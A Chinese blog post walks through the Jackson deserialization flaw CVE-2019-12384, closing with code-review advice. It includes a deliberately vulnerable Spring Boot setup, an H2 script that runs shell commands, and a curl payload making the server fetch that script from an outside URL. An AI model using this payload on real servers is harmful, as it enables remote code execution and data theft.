关于Json反序列化漏洞出现很多次。不管是Jackson抑或是FastJson,每隔一段时间总是暴露出一些漏洞来,比如去年Jackson序列化远程执行漏洞【CVE-2019-12384】。引入log4,h2databased框架和使用jackjson并开启enableDefaultTyping。对外暴露任意形式接口(webAPI、RMI等),而且接口必须存在正反序列化。在这种情况下会出现远程执行漏洞。
下面就以springmvc构建webAPI一个例子。
1.启动类
package com.evil.json;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublic class App { public static void main(String[] args) { SpringApplication.run(App.class, args); }}
2.序列化
@Configurationpublic class WebConfiguration { /** * Spring Boot默认JSON解析框架 * @return */ @Bean public ObjectMapper objectMapper(){ ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); return mapper; }}
3.接口类
package com.evil.json;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.RestController;@RestController@RequestMapping(value = "/api")public class ReqController { @RequestMapping(value = "/test", method = {RequestMethod.POST, RequestMethod.GET}) public Object baseRequset(@RequestBody Object o){ return o; };}
攻击方法:
目标web服务器是window系统可构建以下脚本,上传到任意可访问路径。本样例脚本上传到了http://tangxiaoling-darylho123.stor.sinaapp.com/win.sql。脚本内容如下:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"cmd", "/c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('calc')
此脚本攻击会打开win系统的计算器程序。修改具体的脚本进行其它的一系列的脚本攻击进行任意的注入(如提权,上传敏感数据等)。
在win10打开cmd
curl -H "Content-TYpe:application/json" -X POST -d "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://tangxiaoling-darylho123.stor.sinaapp.com/win.sql'\"}]" -v "http://127.0.0.1:8080/api/test"
当然我们也可以针对linux服务器的注入,只要修改注入脚本即可。如果是以root的身份启动web服务,则基本上可以为所欲为,妥妥地变成肉鸡。鉴于文章不宜太长,这里就不做展示了。需要脚本案例可私信。另外,除了jackJson以外,fastJson(1.2.58包含及以下版本)也有同样的问题。后面的版本已经修复。fastJson是基于黑名单机制,把一些危险列入黑名单中.具体黑名单在其源码com.alibaba.fastjson.parser.ParserConfig类中可以找到。黑名单已经进行简单的加密处理,如下图所示。
此攻击比较鸡肋,前提条件特殊。本次案例仅仅是做一个警示案例。在实际工作中要警惕以下两点
第1点:要警惕不同框架之间同时使用可能会产生漏洞。本次案例Json序列化框架是一个桥梁,和log4j以及H2database则共同作用提供了注入点。
第2点:在代码审查中要注意对正反序列化框架的使用,对全局性应该考虑关闭其enableDefaultTyping。对外接口的序列化使用也应关闭。防止无意的引入漏洞。更要防止有意的留后门。